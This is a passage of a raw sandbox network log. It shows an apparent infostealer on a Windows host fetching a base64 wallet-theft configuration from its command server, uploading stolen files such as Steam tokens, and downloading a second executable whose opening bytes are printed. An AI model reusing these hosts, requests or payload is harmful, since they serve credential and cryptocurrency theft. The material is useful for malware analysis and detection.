name="build_id"60c3d71341c994ff133b7c9a96482d32------DBKEGCAEGIIJKFIEHIJEContent-Disposition: form-data; name="mode"3------DBKEGCAEGIIJKFIEHIJE--
Oct 7, 2024 21:18:47.956981897 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 [TRUNCATED] Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxwYXNzcGhyYXNlLmpzb258MHxFeG9kdXN8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHNlZWQuc2Vjb3wwfEV4b2R1c3wxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RXhvZHVzfDF8XEV4b2R1c1xiYWNrdXBzXHwqLip8MXxFbGVjdHJvbiBDYXNofDF8XEVsZWN0cm9uQ2FzaFx3YWxsZXRzXHwqLip8MHxNdWx0aURvZ2V8MXxcTXVsdGlEb2d [TRUNCATED]
Oct 7, 2024 21:18:47.961986065 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEH Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 2d 2d 0d 0a Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="mode"4------AFIDGDBGCAAFIDHIJKEH--
Oct 7, 2024 21:18:48.591239929 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e 52 6a 4b 69 34 71 4c 43 70 69 61 58 52 6d 62 48 6c 6c 63 69 6f 75 4b 69 77 71 61 33 56 6a 62 32 6c 75 4b 69 34 71 4c 43 70 6f 64 57 39 69 61 53 6f 75 4b 69 77 71 63 47 39 73 62 32 35 70 5a 58 67 71 4c 69 6f 73 4b 6d 74 79 59 [TRUNCATED] Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0YnRjKi4qLCpiaXRmbHllciouKiwqa3Vjb2luKi4qLCpodW9iaSouKiwqcG9sb25pZXgqLiosKmtyYWtlbiouKiwqb2tleCouKiwqYmluYW5jZSouKiwqYml0ZmluZXgqLiosKmdkYXgqLiosKmV0aGVyZXVtKi4qLCpleG9kdXMqLiosKm1ldGFtYXNrKi4qLCpteWV0aGVyd2FsbGV0Ki4qLCplbGVjdHJ1bSouKiwqYml0Y29pbiouKiwqYmxvY2tjaGFpbiouKiwqY29pbm9taSouKiwqd29yZHMqLiosKm1ldGEqLiosKm1hc2sqLiosKmV0aCouKiwqcmVjb3ZlcnkqLip8MTUwfDN8KndpbmRvd3MqLCpQcm9ncmFtIEZpbGVzKiwqUHJvZ3JhbSBGaWxlcyAoeDg2KSosKkFwcERhdGEqLCpQcm9ncmFtRGF0YSosKi5sbmssKi5leGUsKi5zY3IsKi5jb20sKi5waWYsKi5tcDN8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl [TRUNCATED]
Oct 7, 2024 21:18:48.608670950 CEST	646	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF Host: kasm.zubairgul.com Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 [TRUNCATED] Data Ascii: ------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------GCBGCAFIIECBFIDHIJKFContent-Disposition: form-data; name="file_data"Agj8vQ==------GCBGCAFIIECBFIDHIJKF--
Oct 7, 2024 21:18:49.213180065 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 21:18:49.676914930 CEST	188	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJ Host: kasm.zubairgul.com Content-Length: 110093 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:50.984524012 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 21:18:50.990797043 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGD Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 2d 2d 0d 0a Data Ascii: ------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="mode"5------CGHDAKKJJJKJKECBGCGD--
Oct 7, 2024 21:18:51.654994011 CEST	274	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 34 0d 0a 4d 54 49 34 4e 44 55 31 4e 33 78 6f 64 48 52 77 4f 69 38 76 62 6e 4e 6b 62 53 35 6a 64 57 31 77 59 58 49 74 59 58 56 30 62 79 31 76 63 6d 6c 6a 5a 53 31 30 61 58 41 75 63 6d 38 76 62 47 52 74 63 79 39 68 4e 44 4d 30 4f 44 59 78 4d 6a 67 7a 4e 44 63 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 64MTI4NDU1N3xodHRwOi8vbnNkbS5jdW1wYXItYXV0by1vcmljZS10aXAucm8vbGRtcy9hNDM0ODYxMjgzNDcuZXhlfDF8a2tra3w=0
Oct 7, 2024 21:18:53.109107971 CEST	684	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDA Host: kasm.zubairgul.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="mode"51------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="task_id"1284557------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="status"1------BGHIDGCAFCBAAAAAFHDA--
Oct 7, 2024 21:18:53.979470968 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 21:18:54.093302965 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAK Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="mode"6------HDHJEBFBFHJECAKFCAAK--
Oct 7, 2024 21:18:54.739216089 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49932	147.45.44.104	80	3924	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 21:18:51.674887896 CEST	101	OUT	GET /ldms/a43486128347.exe HTTP/1.1 Host: nsdm.cumpar-auto-orice-tip.ro Cache-Control: no-cache
Oct 7, 2024 21:18:52.368947029 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:52 GMT Content-Type: application/octet-stream Content-Length: 551424 Last-Modified: Mon, 07 Oct 2024 19:13:16 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "670432cc-86a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 cb 32 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$=9yWUyWUyWUTTuWURTWUSTlWUVTzWUyVU!WUilTTmWUilSTkWUilRT4WU1m^TxWU1mUxWU1mUTxWURichyWUPEL2g)bRo0@@(@0,.text `.rdatax0@@.datap@.rsrcJ@@.relocN@B
Oct 7, 2024 21:18:52.369024038 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: dH<h BaYh BxaYh BlaYeHEeH<h BLaYjjheHeHDh B-aYVWj!YeHQDeHP3B
Oct 7, 2024 21:18:52.369039059 CEST	1236	IN	Data Raw: 01 59 74 0a 6a 14 56 e8 61 58 00 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 83 ec 1c a1 40 d0 42 00 33 c4 89 44 24 18 8b 45 10 56 8b f1 8d 4c 24 04 50 e8 28 14 00 00 8d 44 24 04 8b ce 50 ff 75 0c ff 75 08 e8 3a ff ff ff 8d 4c 24 04 e8 d2 1c 00 Data Ascii: YtjVaXYY^U@B3D$EVL$P(D$Puu:L$L$\2B^3W]Vt$\2B^Vt$WVP2BFVGW_^BU}uMjhBuRYMPE]D$VtjV
Oct 7, 2024 21:18:52.369054079 CEST	1236	IN	Data Raw: 00 83 c4 10 c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 75 09 83 c6 02 3b 74 24 14 75 e4 5f 8b c6 5e c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 74 09 83 Data Ascii: Vt$WPt$Ru;t$u_^Vt$WPt$Rt;t$u_^APt$NYYVt$;t$tWyWPfNfYY;t$u_^APt$OYYVt$;t$tWyWPOfYY;t$u_^UAWPEf
Oct 7, 2024 21:18:52.369416952 CEST	1236	IN	Data Raw: e0 03 25 e8 00 00 00 66 42 66 bb e3 03 66 35 c0 02 66 81 e9 c8 03 81 c3 fb 02 00 00 66 f7 e2 66 81 f3 24 02 66 f7 ea 66 33 c7 c1 c1 f4 72 0c 42 66 2b f1 66 f7 e8 c1 eb aa eb 14 0f b6 f6 66 f7 e0 f7 e6 49 66 c1 cb 25 23 cb 4e 40 66 f7 e3 f7 e0 66 Data Ascii: %fBff5fff$ff3rBf+ffIf%#N@ffueofff"fff#f+#BP[uEYjVP]iM[i][u3i[3Em]MUE3tt
Oct 7, 2024 21:18:52.369431973 CEST	1236	IN	Data Raw: 66 42 66 f7 e7 0f b6 d7 eb 0b 66 4f 66 f7 e6 66 33 ca c1 d8 78 66 8b ff 81 f6 b1 01 00 00 73 21 83 f9 41 74 4d 66 c1 c2 7a 81 eb 7f 03 00 00 0f b6 fb 66 23 ce c1 ca 22 c1 df dd f7 ef 66 43 eb 15 66 46 66 81 c1 ad 02 4a 66 4e bb 3b 03 00 00 66 bb Data Ascii: fBffOff3xfs!AtMfzf#"fCfFfJfN;ffffFfBrfHffG\|fbffF83$fQwfIffff%fPffCff+ffEfBfewfNfFfI
Oct 7, 2024 21:18:52.369446993 CEST	776	IN	Data Raw: 8b 48 04 89 4d e4 8b 01 ff 50 04 8d 45 e0 50 e8 da 15 00 00 59 89 45 ec 8d 4d e0 e8 1a ef ff ff 21 7d fc 8b 0d 88 65 48 00 8b 41 04 8b b0 c0 65 48 00 c6 45 e0 00 89 75 e4 8b 41 04 8d 88 88 65 48 00 0f b7 41 40 8b 55 ec 8b 12 ff 75 0c ff 75 08 50 Data Ascii: HMPEPYEM!}eHAeHEuAeHA@UuuPQVuEPMRjZ}E}M=eHHeHAjZj39q8ERe(@MeH}jZeHHj39A8EQRMZIVWt$
Oct 7, 2024 21:18:52.369462967 CEST	1236	IN	Data Raw: c8 8b 74 24 38 66 85 c9 51 8b 52 14 0f 9e 44 24 18 8b c2 f2 0f 11 04 24 83 e0 ef 66 85 c9 53 8b 5c 24 28 0f 4f d0 83 7c 24 44 0f 8d 44 24 48 52 0f 47 7c 24 34 6a 4c 50 53 e8 47 0b 00 00 83 c4 10 50 56 57 e8 20 e6 ff ff 83 c4 18 8b 74 24 20 83 7c Data Ascii: t$8fQRD$$fS\$(O\|$DD$HRG\|$4jLPSGPVW t$ \|$8T$$GT$$t$PRut$uuVkD$8v6L$$@D$L$=rD$PD$PD$YYL$PQ_AYYL$D_^[3A]U<@B3D$8ESVWD$ \|$$3
Oct 7, 2024 21:18:52.369529009 CEST	1236	IN	Data Raw: c7 e9 3c 01 00 00 8b 43 30 8b 48 04 89 4c 24 14 8b 01 ff 50 04 8d 44 24 10 50 e8 4a 13 00 00 59 8d 4c 24 10 8b f0 e8 33 e7 ff ff 33 c0 8d 7c 24 24 ab 8d 4c 24 3c 51 8b ce ab ab ab 33 c0 33 ff c7 44 24 3c 07 00 00 00 80 7d 1c 00 89 7c 24 38 66 89 Data Ascii: <C0HL$PD$PJYL$33\|$$L$<Q33D$<}\|$8fD$(tPPD$<PL$(L$<XL$49{$\|9{ vs ;v+C\|$%@t,Vt$ D$uuPWBL$L3@UEEU\|$8D$D$$GD$$QPt$D$
Oct 7, 2024 21:18:52.369544983 CEST	1236	IN	Data Raw: 83 7b 20 00 76 0b 8b 73 20 3b f0 76 04 2b f0 eb 02 33 f6 8b 43 14 25 c0 01 00 00 83 f8 40 0f 84 97 00 00 00 3d 00 01 00 00 74 48 56 ff 75 1c 8d 44 24 1c ff 75 14 ff 75 10 50 ff 75 08 e8 e8 fd ff ff 33 f6 83 7c 24 50 07 57 8b 10 8b 48 04 8d 44 24 Data Ascii: { vs ;v+3C%@=tHVuD$uuPu3\|$PWHD$@GD$@PQRD$<UPuM0n\|$8D$$WGD$(PuD$ uPuVu@PED$8QPuMv03&\|$8D$$WGD$(PuD$ uPux@\|$8L$D$
